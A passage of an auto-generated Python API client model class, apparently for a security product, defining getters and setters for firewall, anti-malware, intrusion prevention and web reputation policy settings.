Web Reputation Syslog Configuration # noqa: E501
:param web_reputation_setting_syslog_config_id: The web_reputation_setting_syslog_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_syslog_config_id = web_reputation_setting_syslog_config_id
@property
def firewall_setting_failure_response_packet_sanity_check(self):
"""Gets the firewall_setting_failure_response_packet_sanity_check of this PolicySettings. # noqa: E501
Network Packet Sanity Check Failure # noqa: E501
:return: The firewall_setting_failure_response_packet_sanity_check of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_failure_response_packet_sanity_check
@firewall_setting_failure_response_packet_sanity_check.setter
def firewall_setting_failure_response_packet_sanity_check(self, firewall_setting_failure_response_packet_sanity_check):
"""Sets the firewall_setting_failure_response_packet_sanity_check of this PolicySettings.
Network Packet Sanity Check Failure # noqa: E501
:param firewall_setting_failure_response_packet_sanity_check: The firewall_setting_failure_response_packet_sanity_check of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_failure_response_packet_sanity_check = firewall_setting_failure_response_packet_sanity_check
@property
def firewall_setting_network_engine_mode(self):
"""Gets the firewall_setting_network_engine_mode of this PolicySettings. # noqa: E501
Network Engine Mode # noqa: E501
:return: The firewall_setting_network_engine_mode of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_network_engine_mode
@firewall_setting_network_engine_mode.setter
def firewall_setting_network_engine_mode(self, firewall_setting_network_engine_mode):
"""Sets the firewall_setting_network_engine_mode of this PolicySettings.
Network Engine Mode # noqa: E501
:param firewall_setting_network_engine_mode: The firewall_setting_network_engine_mode of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_network_engine_mode = firewall_setting_network_engine_mode
@property
def firewall_setting_event_log_file_size_max(self):
"""Gets the firewall_setting_event_log_file_size_max of this PolicySettings. # noqa: E501
Maximum size of the event log files (on Agent/Appliance) # noqa: E501
:return: The firewall_setting_event_log_file_size_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_event_log_file_size_max
@firewall_setting_event_log_file_size_max.setter
def firewall_setting_event_log_file_size_max(self, firewall_setting_event_log_file_size_max):
"""Sets the firewall_setting_event_log_file_size_max of this PolicySettings.
Maximum size of the event log files (on Agent/Appliance) # noqa: E501
:param firewall_setting_event_log_file_size_max: The firewall_setting_event_log_file_size_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_event_log_file_size_max = firewall_setting_event_log_file_size_max
@property
def anti_malware_setting_malware_scan_multithreaded_processing_enabled(self):
"""Gets the anti_malware_setting_malware_scan_multithreaded_processing_enabled of this PolicySettings. # noqa: E501
Use multithreaded processing for Malware scans (if available) # noqa: E501
:return: The anti_malware_setting_malware_scan_multithreaded_processing_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_malware_scan_multithreaded_processing_enabled
@anti_malware_setting_malware_scan_multithreaded_processing_enabled.setter
def anti_malware_setting_malware_scan_multithreaded_processing_enabled(self, anti_malware_setting_malware_scan_multithreaded_processing_enabled):
"""Sets the anti_malware_setting_malware_scan_multithreaded_processing_enabled of this PolicySettings.
Use multithreaded processing for Malware scans (if available) # noqa: E501
:param anti_malware_setting_malware_scan_multithreaded_processing_enabled: The anti_malware_setting_malware_scan_multithreaded_processing_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_malware_scan_multithreaded_processing_enabled = anti_malware_setting_malware_scan_multithreaded_processing_enabled
@property
def firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled(self):
"""Gets the firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled of this PolicySettings. # noqa: E501
TCP SYNFIN Scan - Enabled # noqa: E501
:return: The firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled
@firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled.setter
def firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled(self, firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled):
"""Sets the firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled of this PolicySettings.
TCP SYNFIN Scan - Enabled # noqa: E501
:param firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled: The firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled = firewall_setting_reconnaissance_detect_tcp_syn_fin_scan_enabled
@property
def firewall_setting_engine_option_drop_ip_zero_payload_enabled(self):
"""Gets the firewall_setting_engine_option_drop_ip_zero_payload_enabled of this PolicySettings. # noqa: E501
Drop IP Packet with Zero Payload # noqa: E501
:return: The firewall_setting_engine_option_drop_ip_zero_payload_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_drop_ip_zero_payload_enabled
@firewall_setting_engine_option_drop_ip_zero_payload_enabled.setter
def firewall_setting_engine_option_drop_ip_zero_payload_enabled(self, firewall_setting_engine_option_drop_ip_zero_payload_enabled):
"""Sets the firewall_setting_engine_option_drop_ip_zero_payload_enabled of this PolicySettings.
Drop IP Packet with Zero Payload # noqa: E501
:param firewall_setting_engine_option_drop_ip_zero_payload_enabled: The firewall_setting_engine_option_drop_ip_zero_payload_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_drop_ip_zero_payload_enabled = firewall_setting_engine_option_drop_ip_zero_payload_enabled
@property
def firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled(self):
"""Gets the firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled of this PolicySettings. # noqa: E501
Advanced - Block IPv6 on Agents and Appliances versions 8 and earlier # noqa: E501
:return: The firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled
@firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled.setter
def firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled(self, firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled):
"""Sets the firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled of this PolicySettings.
Advanced - Block IPv6 on Agents and Appliances versions 8 and earlier # noqa: E501
:param firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled: The firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled = firewall_setting_engine_option_block_ipv6_agent8_and_earlier_enabled
@property
def intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled(self):
"""Gets the intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled of this PolicySettings. # noqa: E501
Send ICMP to indicate fragmented packet timeout exceeded # noqa: E501
:return: The intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled
@intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled.setter
def intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled(self, intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled):
"""Sets the intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled of this PolicySettings.
Send ICMP to indicate fragmented packet timeout exceeded # noqa: E501
:param intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled: The intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled = intrusion_prevention_setting_engine_option_fragmented_ip_packet_send_icmp_enabled
@property
def anti_malware_setting_predictive_machine_learning_exceptions(self):
"""Gets the anti_malware_setting_predictive_machine_learning_exceptions of this PolicySettings. # noqa: E501
Predictive Machine Learning Exclusion List # noqa: E501
:return: The anti_malware_setting_predictive_machine_learning_exceptions of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_predictive_machine_learning_exceptions
@anti_malware_setting_predictive_machine_learning_exceptions.setter
def anti_malware_setting_predictive_machine_learning_exceptions(self, anti_malware_setting_predictive_machine_learning_exceptions):
"""Sets the anti_malware_setting_predictive_machine_learning_exceptions of this PolicySettings.
Predictive Machine Learning Exclusion List # noqa: E501
:param anti_malware_setting_predictive_machine_learning_exceptions: The anti_malware_setting_predictive_machine_learning_exceptions of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_predictive_machine_learning_exceptions = anti_malware_setting_predictive_machine_learning_exceptions
@property
def firewall_setting_engine_option_log_events_per_second_max(self):
"""Gets the firewall_setting_engine_option_log_events_per_second_max of this PolicySettings. # noqa: E501
Maximum Events Per Second # noqa: E501
:return: The firewall_setting_engine_option_log_events_per_second_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_log_events_per_second_max
@firewall_setting_engine_option_log_events_per_second_max.setter
def firewall_setting_engine_option_log_events_per_second_max(self, firewall_setting_engine_option_log_events_per_second_max):
"""Sets the firewall_setting_engine_option_log_events_per_second_max of this PolicySettings.
Maximum Events Per Second # noqa: E501
:param firewall_setting_engine_option_log_events_per_second_max: The firewall_setting_engine_option_log_events_per_second_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_log_events_per_second_max = firewall_setting_engine_option_log_events_per_second_max
@property
def firewall_setting_engine_option_ssl_session_time(self):
"""Gets the firewall_setting_engine_option_ssl_session_time of this PolicySettings. # noqa: E501
SSL Session Time # noqa: E501
:return: The firewall_setting_engine_option_ssl_session_time of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_ssl_session_time
@firewall_setting_engine_option_ssl_session_time.setter
def firewall_setting_engine_option_ssl_session_time(self, firewall_setting_engine_option_ssl_session_time):
"""Sets the firewall_setting_engine_option_ssl_session_time of this PolicySettings.
SSL Session Time # noqa: E501
:param firewall_setting_engine_option_ssl_session_time: The firewall_setting_engine_option_ssl_session_time of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_ssl_session_time = firewall_setting_engine_option_ssl_session_time
@property
def anti_malware_setting_behavior_monitoring_scan_exclusion_list(self):
"""Gets the anti_malware_setting_behavior_monitoring_scan_exclusion_list of this PolicySettings. # noqa: E501
Scan Exclusions for Suspicious Activity/Unauthorized Change # noqa: E501
:return: The anti_malware_setting_behavior_monitoring_scan_exclusion_list of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_behavior_monitoring_scan_exclusion_list
@anti_malware_setting_behavior_monitoring_scan_exclusion_list.setter
def anti_malware_setting_behavior_monitoring_scan_exclusion_list(self, anti_malware_setting_behavior_monitoring_scan_exclusion_list):
"""Sets the anti_malware_setting_behavior_monitoring_scan_exclusion_list of this PolicySettings.
Scan Exclusions for Suspicious Activity/Unauthorized Change # noqa: E501
:param anti_malware_setting_behavior_monitoring_scan_exclusion_list: The anti_malware_setting_behavior_monitoring_scan_exclusion_list of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_behavior_monitoring_scan_exclusion_list = anti_malware_setting_behavior_monitoring_scan_exclusion_list
@property
def anti_malware_setting_smart_protection_global_server_enabled(self):
"""Gets the anti_malware_setting_smart_protection_global_server_enabled of this PolicySettings. # noqa: E501
Use Global Smart Protection Service for Smart Scan # noqa: E501
:return: The anti_malware_setting_smart_protection_global_server_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_smart_protection_global_server_enabled
@anti_malware_setting_smart_protection_global_server_enabled.setter
def anti_malware_setting_smart_protection_global_server_enabled(self, anti_malware_setting_smart_protection_global_server_enabled):
"""Sets the anti_malware_setting_smart_protection_global_server_enabled of this PolicySettings.
Use Global Smart Protection Service for Smart Scan # noqa: E501
:param anti_malware_setting_smart_protection_global_server_enabled: The anti_malware_setting_smart_protection_global_server_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_smart_protection_global_server_enabled = anti_malware_setting_smart_protection_global_server_enabled
@property
def firewall_setting_engine_option_log_one_packet_within_period_enabled(self):
"""Gets the firewall_setting_engine_option_log_one_packet_within_period_enabled of this PolicySettings. # noqa: E501
Log only one packet within period # noqa: E501
:return: The firewall_setting_engine_option_log_one_packet_within_period_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_log_one_packet_within_period_enabled
@firewall_setting_engine_option_log_one_packet_within_period_enabled.setter
def firewall_setting_engine_option_log_one_packet_within_period_enabled(self, firewall_setting_engine_option_log_one_packet_within_period_enabled):
"""Sets the firewall_setting_engine_option_log_one_packet_within_period_enabled of this PolicySettings.
Log only one packet within period # noqa: E501
:param firewall_setting_engine_option_log_one_packet_within_period_enabled: The firewall_setting_engine_option_log_one_packet_within_period_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_log_one_packet_within_period_enabled = firewall_setting_engine_option_log_one_packet_within_period_enabled
@property
def firewall_setting_engine_option_generate_connection_events_icmp_enabled(self):
"""Gets the firewall_setting_engine_option_generate_connection_events_icmp_enabled of this PolicySettings. # noqa: E501
Generate Connection Events for ICMP # noqa: E501
:return: The firewall_setting_engine_option_generate_connection_events_icmp_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_generate_connection_events_icmp_enabled
@firewall_setting_engine_option_generate_connection_events_icmp_enabled.setter
def firewall_setting_engine_option_generate_connection_events_icmp_enabled(self, firewall_setting_engine_option_generate_connection_events_icmp_enabled):
"""Sets the firewall_setting_engine_option_generate_connection_events_icmp_enabled of this PolicySettings.
Generate Connection Events for ICMP # noqa: E501
:param firewall_setting_engine_option_generate_connection_events_icmp_enabled: The firewall_setting_engine_option_generate_connection_events_icmp_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_generate_connection_events_icmp_enabled = firewall_setting_engine_option_generate_connection_events_icmp_enabled
@property
def platform_setting_heartbeat_inactive_vm_offline_alert_enabled(self):
"""Gets the platform_setting_heartbeat_inactive_vm_offline_alert_enabled of this PolicySettings. # noqa: E501
Raise Offline Errors For Inactive Virtual Machines # noqa: E501
:return: The platform_setting_heartbeat_inactive_vm_offline_alert_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._platform_setting_heartbeat_inactive_vm_offline_alert_enabled
@platform_setting_heartbeat_inactive_vm_offline_alert_enabled.setter
def platform_setting_heartbeat_inactive_vm_offline_alert_enabled(self, platform_setting_heartbeat_inactive_vm_offline_alert_enabled):
"""Sets the platform_setting_heartbeat_inactive_vm_offline_alert_enabled of this PolicySettings.
Raise Offline Errors For Inactive Virtual Machines # noqa: E501
:param platform_setting_heartbeat_inactive_vm_offline_alert_enabled: The platform_setting_heartbeat_inactive_vm_offline_alert_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._platform_setting_heartbeat_inactive_vm_offline_alert_enabled = platform_setting_heartbeat_inactive_vm_offline_alert_enabled
@property
def web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id(self):
"""Gets the web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id of this PolicySettings. # noqa: E501
Use Proxy when accessing Smart Protection Service for Web Reputation # noqa: E501
:return: The web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id
@web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id.setter
def web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id(self, web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id):
"""Sets the web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id of this PolicySettings.
Use Proxy when accessing Smart Protection Service for Web Reputation # noqa: E501
:param web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id: The web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id = web_reputation_setting_smart_protection_web_reputation_global_server_proxy_id
@property
def anti_malware_setting_nsx_security_tagging_enabled(self):
"""Gets the anti_malware_setting_nsx_security_tagging_enabled of this PolicySettings. # noqa: E501
Anti-Malware NSX Security Tagging State # noqa: E501
:return: The anti_malware_setting_nsx_security_tagging_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_nsx_security_tagging_enabled
@anti_malware_setting_nsx_security_tagging_enabled.setter
def anti_malware_setting_nsx_security_tagging_enabled(self, anti_malware_setting_nsx_security_tagging_enabled):
"""Sets the anti_malware_setting_nsx_security_tagging_enabled of this PolicySettings.
Anti-Malware NSX Security Tagging State # noqa: E501
:param anti_malware_setting_nsx_security_tagging_enabled: The anti_malware_setting_nsx_security_tagging_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_nsx_security_tagging_enabled = anti_malware_setting_nsx_security_tagging_enabled
@property
def firewall_setting_anti_evasion_check_fragmented_packets(self):
"""Gets the firewall_setting_anti_evasion_check_fragmented_packets of this PolicySettings. # noqa: E501
Fragmented Packets # noqa: E501
:return: The firewall_setting_anti_evasion_check_fragmented_packets of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_fragmented_packets
@firewall_setting_anti_evasion_check_fragmented_packets.setter
def firewall_setting_anti_evasion_check_fragmented_packets(self, firewall_setting_anti_evasion_check_fragmented_packets):
"""Sets the firewall_setting_anti_evasion_check_fragmented_packets of this PolicySettings.
Fragmented Packets # noqa: E501
:param firewall_setting_anti_evasion_check_fragmented_packets: The firewall_setting_anti_evasion_check_fragmented_packets of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_fragmented_packets = firewall_setting_anti_evasion_check_fragmented_packets
@property
def firewall_setting_engine_option_connections_num_icmp_max(self):
"""Gets the firewall_setting_engine_option_connections_num_icmp_max of this PolicySettings. # noqa: E501
Maximum ICMP Connections # noqa: E501
:return: The firewall_setting_engine_option_connections_num_icmp_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_connections_num_icmp_max
@firewall_setting_engine_option_connections_num_icmp_max.setter
def firewall_setting_engine_option_connections_num_icmp_max(self, firewall_setting_engine_option_connections_num_icmp_max):
"""Sets the firewall_setting_engine_option_connections_num_icmp_max of this PolicySettings.
Maximum ICMP Connections # noqa: E501
:param firewall_setting_engine_option_connections_num_icmp_max: The firewall_setting_engine_option_connections_num_icmp_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_connections_num_icmp_max = firewall_setting_engine_option_connections_num_icmp_max
@property
def firewall_setting_anti_evasion_check_tcp_split_handshake(self):
"""Gets the firewall_setting_anti_evasion_check_tcp_split_handshake of this PolicySettings. # noqa: E501
TCP Split Handshake # noqa: E501
:return: The firewall_setting_anti_evasion_check_tcp_split_handshake of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_tcp_split_handshake
@firewall_setting_anti_evasion_check_tcp_split_handshake.setter
def firewall_setting_anti_evasion_check_tcp_split_handshake(self, firewall_setting_anti_evasion_check_tcp_split_handshake):
"""Sets the firewall_setting_anti_evasion_check_tcp_split_handshake of this PolicySettings.
TCP Split Handshake # noqa: E501
:param firewall_setting_anti_evasion_check_tcp_split_handshake: The firewall_setting_anti_evasion_check_tcp_split_handshake of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_tcp_split_handshake = firewall_setting_anti_evasion_check_tcp_split_handshake
@property
def anti_malware_setting_combined_mode_protection_source(self):
"""Gets the anti_malware_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
Anti-Malware # noqa: E501
:return: The anti_malware_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._anti_malware_setting_combined_mode_protection_source
@anti_malware_setting_combined_mode_protection_source.setter
def anti_malware_setting_combined_mode_protection_source(self, anti_malware_setting_combined_mode_protection_source):
"""Sets the anti_malware_setting_combined_mode_protection_source of this PolicySettings.
Anti-Malware # noqa: E501
:param anti_malware_setting_combined_mode_protection_source: The anti_malware_setting_combined_mode_protection_source of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._anti_malware_setting_combined_mode_protection_source = anti_malware_setting_combined_mode_protection_source
@property
def firewall_setting_engine_option_event_nodes_max(self):
"""Gets the firewall_setting_engine_option_event_nodes_max of this PolicySettings. # noqa: E501
Number of Event Nodes # noqa: E501
:return: The firewall_setting_engine_option_event_nodes_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_event_nodes_max
@firewall_setting_engine_option_event_nodes_max.setter
def firewall_setting_engine_option_event_nodes_max(self, firewall_setting_engine_option_event_nodes_max):
"""Sets the firewall_setting_engine_option_event_nodes_max of this PolicySettings.
Number of Event Nodes # noqa: E501
:param firewall_setting_engine_option_event_nodes_max: The firewall_setting_engine_option_event_nodes_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_event_nodes_max = firewall_setting_engine_option_event_nodes_max
@property
def web_reputation_setting_monitor_port_list_id(self):
"""Gets the web_reputation_setting_monitor_port_list_id of this PolicySettings. # noqa: E501
Ports to monitor # noqa: E501
:return: The web_reputation_setting_monitor_port_list_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._web_reputation_setting_monitor_port_list_id
@web_reputation_setting_monitor_port_list_id.setter
def web_reputation_setting_monitor_port_list_id(self, web_reputation_setting_monitor_port_list_id):
"""Sets the web_reputation_setting_monitor_port_list_id of this PolicySettings.
Ports to monitor # noqa: E501
:param web_reputation_setting_monitor_port_list_id: The web_reputation_setting_monitor_port_list_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._web_reputation_setting_monitor_port_list_id = web_reputation_setting_monitor_port_list_id
@property
def application_control_setting_syslog_config_id(self):
"""Gets the application_control_setting_syslog_config_id of this PolicySettings. # noqa: E501
Application Control Syslog Configuration # noqa: E501
:return: The application_control_setting_syslog_config_id of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._application_control_setting_syslog_config_id
@application_control_setting_syslog_config_id.setter
def application_control_setting_syslog_config_id(self, application_control_setting_syslog_config_id):
"""Sets the application_control_setting_syslog_config_id of this PolicySettings.
Application Control Syslog Configuration # noqa: E501
:param application_control_setting_syslog_config_id: The application_control_setting_syslog_config_id of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._application_control_setting_syslog_config_id = application_control_setting_syslog_config_id
@property
def firewall_setting_anti_evasion_check_out_no_connection(self):
"""Gets the firewall_setting_anti_evasion_check_out_no_connection of this PolicySettings. # noqa: E501
Outgoing packet out of connection # noqa: E501
:return: The firewall_setting_anti_evasion_check_out_no_connection of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_anti_evasion_check_out_no_connection
@firewall_setting_anti_evasion_check_out_no_connection.setter
def firewall_setting_anti_evasion_check_out_no_connection(self, firewall_setting_anti_evasion_check_out_no_connection):
"""Sets the firewall_setting_anti_evasion_check_out_no_connection of this PolicySettings.
Outgoing packet out of connection # noqa: E501
:param firewall_setting_anti_evasion_check_out_no_connection: The firewall_setting_anti_evasion_check_out_no_connection of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_anti_evasion_check_out_no_connection = firewall_setting_anti_evasion_check_out_no_connection
@property
def firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled(self):
"""Gets the firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled of this PolicySettings. # noqa: E501
Advanced - Block IPv6 on Agents and Appliances verions 9 and later # noqa: E501
:return: The firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled
@firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled.setter
def firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled(self, firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled):
"""Sets the firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled of this PolicySettings.
Advanced - Block IPv6 on Agents and Appliances verions 9 and later # noqa: E501
:param firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled: The firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled = firewall_setting_engine_option_block_ipv6_agent9_and_later_enabled
@property
def integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max(self):
"""Gets the integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max of this PolicySettings. # noqa: E501
Max Integrity Monitoring Scan Cache Entries # noqa: E501
:return: The integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max
@integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max.setter
def integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max(self, integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max):
"""Sets the integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max of this PolicySettings.
Max Integrity Monitoring Scan Cache Entries # noqa: E501
:param integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max: The integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max = integrity_monitoring_setting_virtual_appliance_optimization_scan_cache_entries_max
@property
def firewall_setting_reconnaissance_notify_tcp_null_scan_enabled(self):
"""Gets the firewall_setting_reconnaissance_notify_tcp_null_scan_enabled of this PolicySettings. # noqa: E501
TCP Null Scan - Notify DSM Immediately # noqa: E501
:return: The firewall_setting_reconnaissance_notify_tcp_null_scan_enabled of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_reconnaissance_notify_tcp_null_scan_enabled
@firewall_setting_reconnaissance_notify_tcp_null_scan_enabled.setter
def firewall_setting_reconnaissance_notify_tcp_null_scan_enabled(self, firewall_setting_reconnaissance_notify_tcp_null_scan_enabled):
"""Sets the firewall_setting_reconnaissance_notify_tcp_null_scan_enabled of this PolicySettings.
TCP Null Scan - Notify DSM Immediately # noqa: E501
:param firewall_setting_reconnaissance_notify_tcp_null_scan_enabled: The firewall_setting_reconnaissance_notify_tcp_null_scan_enabled of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_reconnaissance_notify_tcp_null_scan_enabled = firewall_setting_reconnaissance_notify_tcp_null_scan_enabled
@property
def firewall_setting_engine_option_ignore_status_code1(self):
"""Gets the firewall_setting_engine_option_ignore_status_code1 of this PolicySettings. # noqa: E501
Ignore Status Code # noqa: E501
:return: The firewall_setting_engine_option_ignore_status_code1 of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_ignore_status_code1
@firewall_setting_engine_option_ignore_status_code1.setter
def firewall_setting_engine_option_ignore_status_code1(self, firewall_setting_engine_option_ignore_status_code1):
"""Sets the firewall_setting_engine_option_ignore_status_code1 of this PolicySettings.
Ignore Status Code # noqa: E501
:param firewall_setting_engine_option_ignore_status_code1: The firewall_setting_engine_option_ignore_status_code1 of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_ignore_status_code1 = firewall_setting_engine_option_ignore_status_code1
@property
def firewall_setting_engine_option_ignore_status_code0(self):
"""Gets the firewall_setting_engine_option_ignore_status_code0 of this PolicySettings. # noqa: E501
Ignore Status Code # noqa: E501
:return: The firewall_setting_engine_option_ignore_status_code0 of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_ignore_status_code0
@firewall_setting_engine_option_ignore_status_code0.setter
def firewall_setting_engine_option_ignore_status_code0(self, firewall_setting_engine_option_ignore_status_code0):
"""Sets the firewall_setting_engine_option_ignore_status_code0 of this PolicySettings.
Ignore Status Code # noqa: E501
:param firewall_setting_engine_option_ignore_status_code0: The firewall_setting_engine_option_ignore_status_code0 of this PolicySettings. # noqa: E501
:type: SettingValue
"""
self._firewall_setting_engine_option_ignore_status_code0 = firewall_setting_engine_option_ignore_status_code0
@property
def firewall_setting_engine_option_ignore_status_code2(self):
"""Gets the firewall_setting_engine_option_ignore_status_code2 of this PolicySettings. # noqa: E501
Ignore Status Code # noqa: E501
:return: The firewall_setting_engine_option_ignore_status_code2 of this PolicySettings. # noqa: E501
:rtype: SettingValue
"""
return self._firewall_setting_engine_option_ignore_status_code2
@firewall_setting_engine_option_ignore_status_code2.setter
def firewall_setting_engine_option_ignore_status_code2(self, firewall_setting_engine_option_ignore_status_code2):
"""Sets the firewall_setting_engine_option_ignore_status_code2 of this PolicySettings.
Ignore Status Code # noqa: E501
